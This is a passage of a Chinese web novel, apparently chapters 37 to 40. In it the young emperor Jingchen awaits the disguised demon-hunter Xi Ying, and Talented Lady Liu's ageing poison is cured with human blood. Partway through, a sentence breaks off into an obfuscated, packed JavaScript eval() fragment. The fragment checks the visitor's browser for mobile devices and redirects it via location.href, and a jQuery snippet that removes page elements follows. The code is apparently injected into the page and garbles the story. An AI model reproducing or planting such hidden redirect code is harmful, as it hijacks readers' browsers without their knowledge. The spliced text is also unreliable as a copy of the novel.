定国公六十五岁,头发已经白了大半,但他常年习武之故,只看身形面容的话,顶多五十出头的样子,且大病初愈也不见疲态,景辰问起,他恭敬地行礼答话:“启禀陛下,老臣前段时间染了暑热,如今已大好,多谢陛下关怀。” 景辰看着殿中精神矍铄的老人,实在不太相信他竟会因区区暑热告假十日,但这人身上藏着许多秘密,又是个属乌龟的性子,儿子堂弟被双双罢官都不见他有什么反应,他也曾试着往定国公府安插过暗卫,但无不以失败告终,加上这一年多来头疾愈发严重,事情耽搁了不少,如今是该重新撬一撬这老龟的壳了,正好有奚萦在,她本事大手段高,肯定有办法…… 一想到奚萦,景辰的思绪就不自觉跑远了,下意识琢磨她会以什么身份,在什么时间忽然出现在自己面前,到时候自己又该怎么应对呢,是矜持冷淡一点,树立起大雍帝王威严的形象,还是顺水推舟,假装被她吸引? 除了上次带人在宫中追捕她那次之外,他们可曾在别的场合见过?之前他病重,容貌恐怕也憔悴不堪,不知她见过没有呢…… 朝堂陷入一阵诡异的沉默,高坐龙椅上的皇帝不知道在想什么,底下的大臣们齐齐缩脖子,心想今日可没人劝谏陛下立后纳妃啊,怎么又要挨骂? 礼部尚书沈唯清是个活络人,觉得这种时候当然得他这半个“国丈”出马替大家抗一抗啊,于是上前行礼道:“陛下,下个月便是万寿节了,今年不同往年,乃是陛下的及冠之礼,且如今陛下龙体大安,阖该庆贺一番,以——” 他话还没说完,景辰出声打断:“庆贺什么庆贺,嘉余庆民两县饿殍遍地,你们还有心思庆贺?” 这大帽子一扣,沈唯清顿时脸都白了,当即跪下请罪,连呼“不敢”,景辰没心情掰扯这些,挥挥手示意退朝,直接回了蓬莱宫。 景辰其实并非故意找沈唯清的茬,只是十五岁后他就不爱过生辰了,一来不喜欢宴席上的吵闹,二来十五岁那年生辰发生的事让他与母后的关系跌入冰点,这是他多年来深藏于心的隐痛。 不过景辰的坏心情很快就被别的风波吹散了,几声略带惊恐的哀泣透过薄薄的帘帐传了进来,很快又消失不见。 女人?女人来了! 景辰一下子就打起了精神,因为现在忽然出现在他视线内的女人,四舍五入可能都是奚萦! 他一把掀开帘子,目光所及之处并未看到什么女人的影子,遂问旁边的金内侍:“怎么回事?何人在高声喧哗?” 金内侍讪然道:“陛下恕罪,是一个小宫女避让不及冲撞了圣驾,已经带下去处置了。” 景辰蹙眉:“朕好端端的,哪里就冲撞到了,这么点小事就处置人,宫中规矩何时变得如此严苛了?” 金内侍差点翻白眼,宫中规矩为何这么严苛,那还不是你自己搞出来的吗?是谁听到女人的声音就头痛,一头痛就骂人,蓬莱宫连只母蚊子都不敢擅闯,那还不是让你给吓的? 金内侍只能强行解释:“陛下放心,最多也就是挨两个板子,让管事姑姑重新教规矩而已……” 景辰头都大了,要是真让奚萦挨了板子,那他这条狗命还要不要了? “传朕的旨意,冲撞圣驾这等小事口头教训即可,不必体罚了。” 金内侍:“……” “还不快去!” 金内侍麻溜地传旨去了。 望着金内侍的背影消失在甬道尽头,景辰犹豫要不要在这里等一等,若那宫女是奚萦假扮的话,应该会趁机来谢恩,然后他再表示一番皇恩浩荡,勉励其好好当差,对方必然感动得当场落泪,谨记于心,下次再做个点心绣个荷包什么的呈上来以示感激,他甚为欣赏此女手艺,特地召见,一来二去,两人就熟悉了起来…… 后宫里的路数,他没吃过猪肉也见过猪跑,就是这样没错! 皇帝没说走,随行之人自是不敢擅自行动,浩浩荡荡一群人就这么不尴不尬地在原地等了约莫一刻钟,传旨的金内侍回来了,一个人回来的。 景辰纳闷儿:“就你一个人?” 金内侍更纳闷儿了:“奴才,奴才也变不成两个人啊……” 呵,接不上戏的人八成不是奚萦,景辰失望地坐回去,摆摆手示意起驾。 回到蓬莱宫,景辰先用了些点心补上早膳,然后回书房看折子,按照以往的日程,看一个时辰的折子,休息一会儿再看看书,或是召见两个大臣,一上午就这么过去了。 但今日的折子上像是长了蚂蚁,歪歪扭扭着实费眼睛,景辰只看了两本就看不下去了。他将折子一丢,起身四处踱步,摸摸笔筒镇纸,抠抠多宝架的雕花,再扯扯桌布上的流苏,像只浑身刺挠的猫。 一旁金内侍见他到处伸爪子的模样,忍不住开口问道:“陛下,陛下可是有何不适?可要奴才去传御医?” 景辰点点头,喃喃自语道:“这屋里闷得很,出去走走吧。” 金内侍看一眼窗外阴沉的天色,再看看摆出一副要出门架势的景辰,怀疑这人脑子坏掉了。 “咳,愣着做什么,赶紧来替朕更衣。” 得嘞,还要更衣,这是要出去唱戏不成? 金内侍满脑子疑惑,在景辰的指挥下找出十几套常服供他挑选,小心翼翼问道:“陛下,咱们这是要去哪儿呢?” 景辰挑得眼花缭乱,略想了想道:“去御花园吧。” 御花园,后宫大戏必不可少的戏台子,历史久远的比如前朝世宗皇帝与宠妃萧氏,这两人就是在御花园一场宫宴上看对眼的,萧氏本是二品诰命夫人,被世宗皇帝强纳入宫,盛宠三十年不衰,若非朝臣极力反对且萧氏无子,世宗皇帝定会立她为后,近一点的比如敏懿皇后,当初也是在御花园邂逅了 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偌大的御花园此时空空荡荡的,别说宫女嫔妃了,连只鸟都没有,景辰打起精神逛了一圈,着实有些无聊,眼看着又要下雨了,金内侍提议道:“陛下,要不去那边亭子里坐坐吧。” 景辰不置可否地点点头,于是两人又去凉亭中坐了将近一个时辰,期间除了一群过来搬花盆的太监再没有别人出现。 很快,豆大雨点子噼里啪啦落下来,狂风乱作电闪雷鸣,眨眼间雨点子就成了雨帘,被风吹得飘进凉亭,十分放肆地打在景辰精心挑选的天水碧衣摆上。 金内侍再次提议:“陛下,要不奴才去叫人抬撵过来,咱们回宫?” 景辰低头看看被雨水染成深色的衣摆,又抬头看看在风雨中挣扎的花花草草,摇头道:“再等等吧,这雨应该下不了多久。” 金内侍张了张嘴又赶紧闭上,行吧,等就等,他倒要看看能等来个什么鬼。 景辰却不以为意,雨天嘛,也是容易发生故事和事故的天气呢,比如借伞还伞的故事,流传千年的经典啊,放到宫里来也不是不可以! 雨停时已经到午时,这期间既没有发生故事,也没有发生事故,这种平淡让景辰有些丧气,他不禁怀疑奚萦是不是胡说八道来着,否则为何不行动呢?瞧瞧这空荡荡的御花园、暴雨天、独自避雨的皇帝,这简直是天赐良机啊! 虽然有点不甘心,但景辰也不可能一直在御花园干等着,书房里还有一堆奏折没看呢,他只好收拾心情回了蓬莱宫,用过午膳后小憩了一会儿,下午看完折子后再去御花园溜达一圈,一直溜达到晚膳时分才回去。 用过晚膳,金内侍十分有眼色地提议道:“陛下可要出去逛逛?” 逛逛逛,他逛了一天,鞋底都磨薄了,结果连只母蚊子都没遇到! “宫里的规矩,是不是太严了点?” 金内侍摸不着头脑:“陛下指的是哪条规矩?” 景辰瞪他一眼,不想明说,只得不耐烦道:“把朕昨日没看完的书拿过来。” 然而接过书一看,一本《山川志》,一本《治水方略》,跟他此时的心情可谓风马牛不相及,这哪儿看得进去啊! “就没有,有趣一点的书吗?话本子之类的。” 这要求可真是稀奇了,金内侍的印象中,景辰因着头疾之故精神极差,看书的时候不多,偶尔看一下,也是正经得不能再正经的农学、水利、刑名之类的书,忽然要看话本子是怎么回事? 但皇帝要看,太监还能说不给看吗,金内侍道:“奴才这就去找找。” 一刻钟后,景辰看着金内侍找来的《国志史话》、《列王传》、《斩奸集录》陷入沉默,想骂人又忍住了,最后有一搭没一搭地翻着前朝名相智斗奸佞的话本子发起了呆。 奚萦今日没有出现,是不是遇到什么事耽搁了?还是说她并不打算以后宫女子的身份接近自己?可她明明亲口说了要“勾勾手指”“把他迷得神魂颠倒”,那总不能扮成男人来“迷”他吧? 或者说,此“迷”非彼“迷”,她实际上是要破门而入,塞一把迷药直接把他撂翻? 以奚萦的大胆程度,这种事也不是不可能啊! 想到这里,景辰不禁抬头看了看屋顶,喃喃道:“蓬莱宫的屋顶,结实吗?” 金内侍也顺着他的目光往上看,蓬莱宫的房梁柱子皆是上好的金丝楠木,房顶铺的鎏金铜瓦,怎么可能不结实? “要不,奴才明日让人将屋顶加固一下?” 景辰没好气地白他一眼:“不用太结实!” 金内侍:“……” 他再搭理这癫人的话就是条菜虫! 夜色渐深,这一天在景辰满怀期待中开始,又在一无所获中落幕,临睡前他还在想,明天要不要去莲池逛逛呢? 奚萦可不知道她家小狗已经巴巴等了她一天,她今晚才回长夏宫,此时正跟假扮“沈嫔”的魇魔讨论如何接近皇帝。 魇魔语重心长地劝道:“我的好姐姐啊,您听我一句劝,这小皇帝他根本就不喜欢女人,您要想接近他啊,要么扮成太监,要么扮成男人!” 38. 司主大人来了! 奚萦不太相信:“你连皇帝的面都没见到,如何知道他不喜欢女人的?” 魇魔脸上闪过一丝尴尬:“那,那他要是喜欢女人的话,怎么蓬莱宫连个宫女都没有,后宫嫔妃他也不见,许美人多漂亮啊,正常男人能不喜欢?” 奚萦哼道:“说不定他就是不喜欢许美人那个类型,偏偏喜欢本司主这样的呢?” 魇魔谄笑:“对对对,姐姐说的有道理!那姐姐打算如何将那小皇帝勾到手?妹妹帮您参详参详。” “就你这水平,还帮我参详?” 勾搭人的本事被质疑了,魇魔很不服气:“妹妹我好歹也是出身狐族,最懂男女之间情情爱爱的事,怎么就不能帮您参详了?” 奚萦送她两个白眼:“狐族?狐狸都是些笨蛋。行了行了,谁跟你说我要同那小皇帝发展男女之情了?你老实待在长夏宫别露馅儿,沈嫔的身份我还要用的。” 魇魔这十来天足不出户,闷得头顶都快长蘑菇了,闻言顿时苦了脸:“好姐姐,就不能让我假扮成你的宫女,出去放个风吗?姐姐您放心,我肯定老老实实不惹事!” 奚萦摆摆手:“再说吧。孙胡,你帮我盯着她不许惹事,我出去一趟。” 景辰醒来后下旨处置了许家,对外称许美人意外落水身亡,孙胡便被放了回来,小猴子遭了这番罪,行事愈发谨慎了起来,得了奚萦的吩咐后,两只眼睛便黏在魇魔身上不动了,将魇魔盯得头皮一阵阵发麻。 奚萦出了长夏宫后,直奔蓬莱宫而去。 此时已是深夜,蓬莱宫一如既往的安静,但她没有直接进去,而是在宫外找了处假山藏好,丢了只小纸人溜进去,蓬莱宫里有巫心柏设下的斗艮阵,强闯是不行的,好在她有内应。 金内侍伺候景辰歇下后便回了偏殿值房,如今他懒得点灯熬蜡做针线活忽悠皇帝了,一回屋就睡下,然而刚钻进被窝,枕头边就传来一阵窸窸窣窣的动静,他吓得呲溜一下跳到地上,接着又是一愣,哎,我是蛇啊,为啥要怕这种到处乱钻的小东西? 没等他反应过来,一道女声忽然响起:“小妒蛇你别怕,来来来到这边来,跟司主大人说说最近有什么发现吧。” 听到这熟悉的声音,原本不怎么害怕的金内侍顿时浑身哆嗦起来:“司、司、司主大人,您、您怎么、怎么来了?” 成为司主大人的二五仔后一直没人联系他也没别的任务分派下来,金内侍都快忘了这茬了,结果奚萦直接无声无息地出现在自己房中,这简直比鬼故事还吓人! 房中只有一盏火光微弱的蜡烛,金内侍的绿豆眼骨碌碌转了好几圈才终于看到床头柜上翘着二郎腿的小纸人,那小纸人指着凳子道:“坐吧,别紧张,把皇帝的情况跟我仔细说说。” 奚萦语气十分和善,金内侍却半点不敢怠慢,小心翼翼坐了三分之一个屁股,恭敬道:“敢问司主大人,您具体想听哪方面的情况呢?奴才一定知无不言言无不尽!” “唔,先说说皇帝是个什么样的人吧。” 说这个的话,金内侍可就有的说了,他几乎想也不想便脱口道:“脾气阴晴不定,多数时候都不喜欢说话,一旦生气了又能长篇大论地骂人,性格古怪老是让身边人猜他的想法,猜不对他还要发脾气,动不动就垮着个脸,觉得这世上就他一个人聪明,其他人全是蠢货,口味挑剔衣食讲究,还特别臭美,最近还有些疯疯癫癫的,总之难伺候得很!” 奚萦想起那日被自己碰瓷的小皇帝,确实有点脾气,但被她坏了事也没有直接扔下她走人,事后也并未责罚,看起来好像没有这么差劲吧? “那他最近都做了些什么,有没有奇怪的地方?” 金内侍更来劲儿了:“他奇怪的地方可多了!就今天,一大早起来就跟中邪了似的,要照镜子要换朝服发冠,后来又冒着雨去逛御花园,还说些听不懂的疯话,啧啧啧。” “他说什么疯话了?” “说什么朝服不好看,宫规太严苛,房顶太结实之类的话,反正奴才是听不懂的。” 这,奚萦就更不懂了,她想了想又问:“许家的事你知道多少?皇帝为何忽然抄了许家?” “许家这事儿实在奇怪得很呢,约莫十天前,皇上早朝时忽然昏迷,直到下午才醒,刚一醒来就让张将军带人去城外庄子上找个什么女人,后来他不放心,还让奴才一起出宫去庄子上,结果刚一到那里就下旨抓了许家人,当时奴才回城传旨去了,也不知道庄子上到底发生了何事,后来皇上和张将军的人都受了点伤,这次足足昏迷了三日才醒,醒来后就将许家定了罪,不许任何人求情,连许美人都被贬为庶人不得入皇陵。” 奚萦从封峻口中得知查抄许家是皇帝亲自下令,却不知道皇帝还曾亲自去过许家田庄,而且几乎跟她是前后脚去的,这就着实让人生疑了,她去田庄只带了富贵儿,富贵儿又一直跟在她身边,那皇帝是如何知道田庄会出事的?且他还让属下去田庄找一个女人,田庄上哪有什么女人? 当然,她没有怀疑这个女人是自己,因为当时她是扮作太监进去的,奚萦对自己改换容貌的术法还是非常自信的。 想来想去,似乎都只有一个可能,那就是田庄上本就有皇帝的眼线,她的行踪并未瞒过眼线,皇帝得知田庄的秘密将要暴露后,先下手为强将许家一锅端了。 以皇帝的身份地位,确实有能力做这样一个幕后黑手,将无数人和妖的性命玩弄于股掌之间,肆意摆布朝中大臣,掐准时机斩草除根,他也完全有这样做的动机,重病缠身之人为了恢复健康追寻长生,做出什么事来都不奇怪。 让奚萦想不通的地方是,若这一切是皇帝所为,那为何许嫣会以嫔妃的身份入宫,总不能是因为他口味奇特,喜欢尝试些正常人想都不敢想的玩法吧?何况皇帝根本没见过许嫣。 再则,巫心柏的态度也耐人寻味,她对妖族被残害一事颇为愤慨,但又暗中保护皇帝并为他担保,她若不是被骗了,那就是其中另有隐情。 总之,皇帝身上疑点重重,是个关键人物,得好好盯着。 奚萦又问:“皇帝身边亲近信任的人都有哪些?” 金内侍昂头挺胸,表示正是在下,奚萦白他一眼:“除了你之外。” “唔,还有宣王殿下、惠郡王、羽林卫统领张谦、禁军统领王朗,他经常召见又能给个笑脸的就这几人,其他那些大臣多半都是要挨骂的。” 奚萦琢磨了一下,又问:“据说,据说他不喜欢女人,有这回事吗?” 金内侍的绿豆眼立马放出精光,语气里带着浓浓的八卦气息:“嗐,这位陛下就跟个和尚似的,连女人的声音都听不得,奴才也这么怀疑过,但仔细想来,奴才以为他其实是男女通吃荤素不忌的那种!您看上次他火急火燎地去田庄上找什么女人,今日又 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总之,调查皇帝这件事,来硬的不太行,只能迂回行事徐徐图之。 金内侍将自己的日常工作事无巨细地交代了,转眼又到寅时三刻,该伺候皇帝陛下起床上朝了。 景辰心里揣着事儿,今日依然醒得很早。 以奚萦那毫不拖泥带水的性子,今日无论如何也该出现了吧?这样想着,选朝服的时候自是又挑剔起来。 “翻来覆去就这几个颜色款式,织造局是不是有些懈怠了?” 他嫌明黄色太土气,朱红又太张扬,靛蓝显老气,月白已经穿过了。 刚接手御前太监总管工作的“奚内侍”闻言噎了噎,袖中藏着的金内侍赶紧传音道:“您顺着他的话说就行,他自己会找台阶下的。” 奚萦于是道:“奴才这就传旨申斥织造局总管太监?” 景辰轻咳一声:“倒也不必。” 挑挑拣拣一番后,景辰最终还是选了张扬的朱红色朝服,奚萦上前帮他脱下寝衣,露出一身白皙无暇的肌肤,她没好意思多看,匆匆一瞥之间,还是忍不住在心里赞叹一声,皮肤真好,身材也不错,小皇帝瘦是瘦了点,竟还挺有料! 朝服虽不像最正式的礼服那般繁复,但里里外外也是好几层,幸好先前在金内侍的指导下练习过,奚萦记性好手也巧,除了一开始差点系错衣带被金内侍提醒了,之后都穿得十分麻利,景辰的心思早飞远了,自然也没留意到“金内侍”这点异常。 穿好衣服后,又在发冠和佩玉的选择上纠结了一番,奚萦陪着笑脸全程伺候,一下就理解了金内侍的不满,这小皇帝看着挺精神一少年郎,怎么穿衣梳头比小姑娘还事儿多? 今日打扮完依旧没时间用早膳,不过早朝上没什么大事,下朝回到蓬莱宫时,太阳刚从东边冒头。 景辰今日打算去莲池逛逛,用过早膳重新梳洗一番后就兴致勃勃准备出发了,但还没来得及出门,忽然有小太监匆匆来报,漪兰殿柳才人突发恶疾,快要不行了。 奚萦将消息报给景辰时,清楚地看到他脸上瞬间闪过兴奋期待的神色。 “快!摆驾漪兰殿,传李院使即刻前去看诊,务必保住柳才人性命!” 景辰心想,来了,奚萦果然来了! 奚萦心想,疯了,这皇帝莫不是疯了? 39. 柳才人的怪病 柳才人住的漪兰殿跟蓬莱宫隔了大半个皇宫,景辰一路催着御撵加快速度,甚至不等小太监搬来轿凳就直接跳了下去,若不是顾忌形象,恐怕他会一路飞奔进漪兰殿。 跟在旁边的奚萦看得目瞪口呆,说他不在乎柳才人的生死吧,他又心急火燎地赶来,说他在乎吧,可他这浑身上下洋溢着兴奋期待的模样又是闹哪般? 景辰其实也知道自己的状态有点奇怪,但他下意识觉得金内侍是自己人,没必要在他面前演得太认真,直到走进漪兰殿后,他才放慢了脚步收敛了情绪,摆出一副面无表情的严肃模样,十分沉稳地迈步走进内殿。 只是这一切落入奚萦眼中,再次加深了“皇帝脑子有病”的印象。 漪兰殿位置偏僻,宫室也修得比较矮小,柳才人出事,她身边伺候的宫女太监自是就近待命,李院使又带着另外两名太医及一干医侍、太监等人过来看诊,一下子就把这座小小的宫殿挤得水泄不通,景辰到了之后众人又涌上前来行礼,这下直接将他挤得几乎无处落脚,更别想进去探病了。 奚萦见状正想叫无关人等都退下,但她还没来得及开口,就见景辰抬腿从跪在门口的小太监头上跨过去,径直去了内室。 好家伙,急成这样了吗? “都起来吧。李院使,柳才人怎么样了?” 景辰其实并没有太把柳才人的病放在心上,他下意识觉得此时在后宫搞事吸引他注意的人必定是奚萦,若是她的话,这病也不过是个幌子而已,他配合着演一演就行,重要的是尽快见到人,确认是不是她。 李院使一张老脸拧成了苦瓜,谨慎答道:“启禀陛下,柳才人这病,这病实在古怪得很,微臣估摸着像是中毒,但具体是何种毒物老臣暂时拿不准,方才已经灌了瓜蒂散下去,后续,后续得再观察一下。” 这时恰好从里间传来一阵痛苦的呕吐声,听上去有气无力的,似是已经吐过几轮,景辰的目光飘向隔着一道门帘的里间,正犹豫要不要直接进去看看,李院使又道:“陛下还是在此间稍候片刻吧,柳才人的情状有些,有些不雅,莫要冲撞了您。” 景辰心道奚萦浑身涂得黢黑的丑样子他都见过,哪里就能冲撞了他?可当着这么多人的面,又隔着皇帝和“柳才人”的身份,他非得去看的话确实有些奇怪,于是只好顺着李院使的话在外间落座。 里面的呕吐声却越来越痛苦,到后来甚至有些撕心裂肺,那架势几乎是要将心肝脾肺都给吐出来,奚萦听得心惊,有心想进去看看到底是什么情况,景辰也开始坐立难安。 “柳才人是怎么中毒的?” 一屋子的宫女太监面面相觑,没人能回答景辰这个问题,这时里间的呕吐声忽然停了,只听一道带着惊恐的哭喊声骤然响起。 “救命!太医救命啊!救救我家姑娘!姑娘——” 李院使一个箭步冲了进去,景辰也坐不住了,跟着大步走进里间,奚萦紧随其后。 如今正是盛夏,汤药的苦味和呕吐物的酸臭味被暑热一闷,混合成了一股十分难闻的怪味,这股怪味在门帘被掀开的瞬间冲入景辰和奚萦的鼻子,两人被呛得几乎同时顿住。 景辰反应更大,他嗅觉很敏锐,被熏得有些头晕眼花,暗道奚萦这戏是不是做得太过了些,他有这么难勾搭吗? 奚萦见他一脸难受,上前扶了一把,十分贴心地建议道:“陛下要不还是在外间再等等,奴才替您去看看柳才人的情况。” 景辰摇头,一脸坚定道:“朕没事。” 奚萦无语了,这是演的哪门子深情戏呢?但凡他此前见过柳才人一面她都能勉强信了。 恰在此时,床边伺候的宫女端着痰盂退到一边,露出了倚靠在另一宫女怀中的柳才人。 那是一个枯槁衰败得仿佛下一刻就会魂归地府的老妪。 没错,老妪,那人白发糟乱干枯,脸上满是皱纹和沟壑,露在被子外的一只手干瘪得如同鸡爪,一双浑浊的眼睛里半丝光亮也没有,无论怎么看,这都是一个老妪。 奚萦惊讶了瞬间后,迅速在脑海中翻找是什么样的毒会导致这般怪异的症状,但她并不精于此道,想了片刻也没什么头绪,回过神来才察觉到身边人的异样。 景辰整个人僵在原地,目光死死盯着柳才人,像是看到什么极其可怖的东西,脸上的血色褪尽,嘴角微动,似是想说什么却没能说出口。 奚萦诧异,心道这小皇帝看上去偌大一只,没想到竟然这么胆小的吗?她扶着他胳膊的手紧了紧,小声道:“陛下,陛下您可还好?” 景辰没有回答她的话,两人就这样尴尬地杵在门边,进也不是退也不是。 里间的宫女太医全都围着柳才人,一时间没人注意到皇帝的异样,直到一阵极其怪异的“嗬嗬”声打破了这窒闷的气氛。 原本奄奄一息靠在宫女怀中的柳才人忽然瞪大了双眼,喉咙中发出意义不明的怪声,她那双鸡爪般的手拼命往嘴里塞,似乎想吞下去又似乎想从嘴里抠出什么东西来,吓得宫女们纷纷大叫起来,甚至有人直接扔下手里的巾帕水盆等物躲开,唯有李院使见多识广胆子大,硬是上前拉住柳才人的手不让她自伤,屋里乱成了一锅粥。 奚萦看得着急,又不好直接扔下小皇帝上去帮忙,于是悄悄将袖中的金内侍扔出来,塞了张祛秽的符箓,传音让他溜到柳才人床底下将符箓点燃,她也不知道能不能管用,人都这样了,死马当活马医吧。 金内侍努力将自己缩到最小,艰难地穿梭在满屋鞋底之间,心里把奚萦骂了个狗血淋头,这些当主子的一个比一个难伺候,这么多双眼睛盯着,他一条蛇,要怎么“偷偷”去床底下燃符啊?奚萦你厉害,你这么厉害为何不直接将这屋里的人撂倒,管他什么柳才人小皇帝不都任你揉圆搓扁吗! 还没等金内侍爬到床底下,景辰出声拯救了他。 “来人,取一碗新鲜的人血给柳才人喂下去。” 他声音暗哑平缓,听不出喜怒,但奚萦能感觉到,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232577|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一直萦绕在他身上的那种暗戳戳的高兴劲儿早已烟消云散,此时的景辰终于像个深沉的帝王了。 但他这句话里包含的意思太过惊悚,一时间竟无人动作。 忙着制止柳才人吃自己手的李院使最先回过神来:“陛下,这,这是不是太——” “都听不懂朕的话吗?赶紧去取血,多几个人去,一人取一点就行!” 宫女太监们不敢抗命,几个人互相交换了眼神后便退出里间,看样子是去找工具找地方取血了,李院使想不出别的办法来,也不再多说。 金内侍又趁乱溜了回来,小声跟奚萦传音:“司主大人,喂人血能行吗?陛下又不懂医术,他该不会是瞎说的吧?” 奚萦反问他:“你觉得他会拿人命乱来吗?” 金内侍摸着良心替景辰说了句好话:“不会,他脾气虽然不好,但从不轻视人命。” 景辰不知道他们这些小动作,他还是保持着先前的姿势站在门口,整个人都有些恍惚。 没过多久,有宫女端着一只巴掌大的白瓷碗进来,碗中装着温热的鲜血,景辰语气淡漠:“喂给柳才人吧。” 其实根本不需要人喂,装着人血的碗刚凑到柳才人跟前,她就直接伸手抢过去,咕咚咕咚两口喝完了。 热血灌下,柳才人仿佛枯木逢春一般,一头白发从发根处缓缓变黑,脸上松弛的皮肤丰盈起来,沟壑一点点平整,浑浊的眸子变得清澈,一双鸡爪也成了纤纤玉手。 屋里静得落针可闻。 恢复青春容貌的柳才人放下碗,意犹未尽地舔了舔嘴边残留的血迹,清凌凌的眸子将屋里的人扫视一圈,不解地问道:“青黛,这是出了什么事吗?为何都挤在我房中?” 名为青黛的宫女正是端来鲜血的那位,她闻言扑通一下跪在床边,哽咽着说不出话来,腕间缠着的白布上渗出鲜红血迹,显然那碗血也有她的一份。 柳才人茫然不解,目光扫过床边立着的李院使等人,又落向站在远处的景辰和奚萦,看清景辰的模样时,她明显吓了一跳,当即就要起身行礼,但很快又被景辰的目光钉在原地。 景辰的目光中,透着杀气。 奚萦看出来了,柳才人显然也看出来了,所以她才被吓得不敢动弹。 今天这事可真是处处透着古怪,单就是柳才人中的这毒,毒发时令人容颜衰老理智全无,而解毒居然需要用人血,奚萦从未见过或是听说过这种毒药,这玩意儿说是邪术或许更贴切一些。 更古怪的是,皇帝居然知道用人血可解此毒!他是怎么知道的?莫非曾经见过? 最让奚萦不解的是,他刚救了柳才人,此时又一副恨不得杀了她的模样,先前那种赶着去见心上人的雀跃期待早已消失无踪,这又是为何呢? 想来想去,奚萦暂时只能得出一个结论,这小皇帝身上有秘密,大秘密! 近乎凝滞的气氛中,景辰终于开口:“传张谦来,封锁漪兰殿,任何人不得进出。” 40. 土法炼丹柳仙女 此话一出,在场众人皆变了脸色,纷纷下跪请罪,柳才人更是吓得手一抖,瓷碗砸在她雪白的衣襟上,染了几朵刺眼的血红,又咕噜噜滚下床,摔得粉碎。 她似是骤然惊醒,连忙翻身下地,跪在碎瓷片旁颤抖着声音祈求道:“皇、皇上饶命,臣妾、臣妾……” 她想要请罪,又拿不准自己到底犯了什么事,急得眼泪都快下来了,本就长了一张偏幼态的小圆脸,此时泫然欲泣的模样更惹人怜爱,可惜景辰半点怜惜也没有,只是冷漠地扫了她一眼,不叫起也不发话。 名为青黛的宫女早已哭成了泪人,见自家主子这般狼狈的模样更是不忍,当即膝行上前对着景辰砰砰砰地磕头,哭道:“皇上饶了才人吧,一切都是奴婢的错,是奴婢的错,求皇上饶了才人……” 她不停重复着求饶的话,额头很快磕得红肿一片,柳才人见状不忍,伸手去拉,主仆两人哭成一团。 奚萦趁乱将金内侍放了出去,让他去搜查漪兰殿中是否有可疑的邪物毒物妖物之类的东西。 很快,张谦也带着人赶到,将漪兰殿围了个水泄不通。 一下子来了这么多披甲执锐的羽林卫,原本就心惊胆战的漪兰殿宫人更是吓得心胆俱裂,哀哭声求饶声此起彼伏,就怕皇帝一声令下将他们尽数打杀了。 像根木头桩子一般站了许久的景辰终于开口:“柳才人和青黛留下,张谦,把其他人带下去分开看管,金内侍,带人搜查漪兰殿。” 地上哀哭求饶的柳才人闻言瑟缩了一下,却并未说什么。 张谦很快将内室里的宫女太监连同太医全都带了下去,奚萦本想留下听听小皇帝要怎么审柳才人,但被他一瞪,也只得假装惶恐地滚出去办差了。 不过没关系,不能光明正大地听她还可以偷听啊!拉开门帘的时候她指尖一抹,一张传音符悄无声息地贴在了夹层中。 奚萦有模有样地带着太监搜宫,实则注意力全在景辰那边。 柳才人和宫女青黛的哭泣求饶声持续了将近一盏茶的时间,终于,景辰开口问话了。 “你知道自己——” 他说到一半顿了顿,似乎在斟酌用词,片刻后语气不善地补充完后半句:“——中毒了吗?” 柳才人哭道:“臣妾,臣妾最近这段时日确实有些不适,但是,但是臣妾也不知道是中毒了啊。” “你不知道?那莫非是有人害你?” 这句话里带着明显的嘲讽意味,让听墙角的奚萦忍不住竖起了耳朵。 只听柳才人继续哭道:“臣妾真不知道啊……” “那你呢,朕看你忠心护主不惜自伤,你也不知道是谁害了你家主子吗?” 青黛支支吾吾:“奴婢,奴婢也不知道……” 景辰不再说话,内室只剩下女子哀哀的哭泣声。 外面的奚萦干着急,恨不得进去把这三个人尽数拿下严刑拷打一番,恰在此时,金内侍传音给她:“司主大人您快来看看,院子东边墙角的美人蕉下面埋了东西!” 奚萦快步往金内侍说的位置走去,隔了十来步远就看到一条细小的青蛇在草丛中探头探脑,然而还没等她走近,一团五颜六色的东西忽然从美人蕉宽大的叶片后面冲了出来,叼起小青蛇就跑。 金内侍吓得鬼哭狼嚎:“救命,救命啊!!” 情急之下,奚萦随手折了草叶当做暗器,“咻”地一下朝那团五颜六色的东西射了过去,只听“啊”一声怪叫,那东西倒地不起,她这才看清,原来那竟是一只彩羽鹦鹉。 金内侍趁机逃脱魔爪,连滚带爬地冲回奚萦脚边,顺着她鞋面就要往上爬。 奚萦可不怎么喜欢没长毛没长脚的东西,下意识一踢腿,金内侍又是一声惨叫,扑通一下摔进了一滩小水洼里。 奚萦有点尴尬,快步上前将地上乱扑腾的鹦鹉一把抓住,又将糊了一身泥的小青蛇拎起来,顺势用鸟毛擦了擦蛇身上的泥,严肃道:“东西在哪儿呢?” 金内侍颤抖着尾巴指向前方:“就在那美人蕉底下埋着呢。” 鹦鹉骂道:“坏蛋!坏蛋!” 奚萦伸指弹了弹鸟头,唬道:“再骂人把你舌头割了信不信?” 这鹦鹉虽然还没化形成妖,但灵智已开,勉强能沟通一二,只是实在不太聪明,被奚萦威胁了竟还试图张嘴咬她。 奚萦将鸟嘴一捏,它两瓣尖嘴顿时像被浆糊粘住了,怎么也张不开,顿时急得使劲儿挣扎起来。 奚萦嫌它烦,索性将另一只手里抓着的金内侍往鸟腿上一缠再打个结,如此一来鸟也绑住了手也空出来了,完美。 将哭唧唧的金内侍和凶巴巴的鹦鹉往草地上一丢,奚萦径直去美人蕉底下挖东西。 这东西埋得不深,又被金内侍拱了一顿,奚萦三两下就挖了出来。 是一只浑身漆黑的丹炉,约莫人头大小,另有一包用油纸包起来的乌黑残渣,看上去像是药渣,奚萦一时也看不出究竟有哪些药材。 她把这一堆东西收拢,又将地上的金内侍从鸟腿上解救下来重新塞进袖中,一手抓鸟一手提丹炉,回去跟景辰复命了。 内室依然只有柳才人主仆的啜泣声,景辰坐在靠门边的一张椅子上,表情深沉晦暗得像是下一刻就会暴雨倾盆,奚萦进来时,他抬头,疑惑的目光落向她手中的一鸟一炉。 